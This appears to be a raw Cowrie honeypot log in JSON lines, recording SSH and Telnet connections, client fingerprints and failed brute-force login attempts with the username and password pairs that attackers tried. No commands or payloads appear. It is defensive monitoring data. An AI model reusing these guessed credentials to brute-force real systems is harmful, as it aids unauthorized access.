{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:08.565655Z","src_ip":"64.176.195.200","session":"1209696432cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beata","password":"beata","message":"login attempt [beata/beata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:08.579656Z","src_ip":"64.176.195.200","session":"1209696432cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:09.586974Z","src_ip":"64.176.195.200","session":"1209696432cc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:15.812680Z","src_ip":"46.151.178.13","session":"9943952f11d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.2403748035431,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:15.823214Z","src_ip":"46.151.178.13","session":"9943952f11d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":58302,"dst_ip":"159.203.135.109","dst_port":22,"session":"022fc00f118d","protocol":"ssh","message":"New connection: 103.59.94.61:58302 (159.203.135.109:22) [session: 022fc00f118d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:28.149407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:28.153540Z","src_ip":"103.59.94.61","session":"022fc00f118d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:28.406955Z","src_ip":"103.59.94.61","session":"022fc00f118d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"notes","password":"1234","message":"login attempt [notes/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:29.537362Z","src_ip":"103.59.94.61","session":"022fc00f118d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:30.792381Z","src_ip":"103.59.94.61","session":"022fc00f118d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51277,"dst_ip":"10.17.0.5","dst_port":22,"session":"9388efd1a237","protocol":"ssh","message":"New connection: 2.57.121.112:51277 (10.17.0.5:22) [session: 9388efd1a237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:06.445428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:06.451215Z","src_ip":"2.57.121.112","session":"9388efd1a237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:06.554525Z","src_ip":"2.57.121.112","session":"9388efd1a237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291285","message":"login attempt [admin/291285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:07.043271Z","src_ip":"2.57.121.112","session":"9388efd1a237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45776,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f8476377b3f","protocol":"ssh","message":"New connection: 2.57.122.208:45776 (10.17.0.5:22) [session: 1f8476377b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:07.744092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:07.749146Z","src_ip":"2.57.122.208","session":"1f8476377b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:07.909281Z","src_ip":"2.57.122.208","session":"1f8476377b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291186","message":"login attempt [admin/291186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:08.152034Z","src_ip":"2.57.121.112","session":"9388efd1a237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:08.253362Z","src_ip":"2.57.122.208","session":"1f8476377b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291178","message":"login attempt [admin/291178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:09.258782Z","src_ip":"2.57.121.112","session":"9388efd1a237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:09.462514Z","src_ip":"2.57.122.208","session":"1f8476377b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29111994","message":"login attempt [admin/29111994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:10.364956Z","src_ip":"2.57.121.112","session":"9388efd1a237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291089","message":"login attempt [admin/291089] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:11.471346Z","src_ip":"2.57.121.112","session":"9388efd1a237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:12.577277Z","src_ip":"2.57.121.112","session":"9388efd1a237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":42578,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5341c80ed26","protocol":"ssh","message":"New connection: 176.88.194.26:42578 (159.203.135.109:22) [session: f5341c80ed26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:32.791568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:32.796274Z","src_ip":"176.88.194.26","session":"f5341c80ed26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:32.932634Z","src_ip":"176.88.194.26","session":"f5341c80ed26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"smbuser2025","message":"login attempt [smbuser/smbuser2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:33.492211Z","src_ip":"176.88.194.26","session":"f5341c80ed26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:34.625562Z","src_ip":"176.88.194.26","session":"f5341c80ed26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":20390,"dst_ip":"159.203.135.109","dst_port":22,"session":"77e1830565c5","protocol":"ssh","message":"New connection: 211.106.133.202:20390 (159.203.135.109:22) [session: 77e1830565c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:51.896707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:51.919530Z","src_ip":"211.106.133.202","session":"77e1830565c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:52.123637Z","src_ip":"211.106.133.202","session":"77e1830565c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtest","message":"login attempt [test/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:52.951052Z","src_ip":"211.106.133.202","session":"77e1830565c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:34:54.162648Z","src_ip":"211.106.133.202","session":"77e1830565c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":58709,"dst_ip":"159.203.135.109","dst_port":22,"session":"b27380b435ac","protocol":"ssh","message":"New connection: 2.57.121.112:58709 (159.203.135.109:22) [session: b27380b435ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:15.811309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:15.815629Z","src_ip":"2.57.121.112","session":"b27380b435ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:15.915138Z","src_ip":"2.57.121.112","session":"b27380b435ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291285","message":"login attempt [admin/291285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:16.386536Z","src_ip":"2.57.121.112","session":"b27380b435ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291186","message":"login attempt [admin/291186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:17.504505Z","src_ip":"2.57.121.112","session":"b27380b435ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291178","message":"login attempt [admin/291178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:18.609145Z","src_ip":"2.57.121.112","session":"b27380b435ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29111994","message":"login attempt [admin/29111994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:19.711609Z","src_ip":"2.57.121.112","session":"b27380b435ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291089","message":"login attempt [admin/291089] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:20.812799Z","src_ip":"2.57.121.112","session":"b27380b435ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:21.915409Z","src_ip":"2.57.121.112","session":"b27380b435ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":51858,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba7f3cce14cd","protocol":"ssh","message":"New connection: 103.59.94.61:51858 (159.203.135.109:22) [session: ba7f3cce14cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:30.085037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:30.089145Z","src_ip":"103.59.94.61","session":"ba7f3cce14cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:30.333883Z","src_ip":"103.59.94.61","session":"ba7f3cce14cd","protocol":"ssh"}
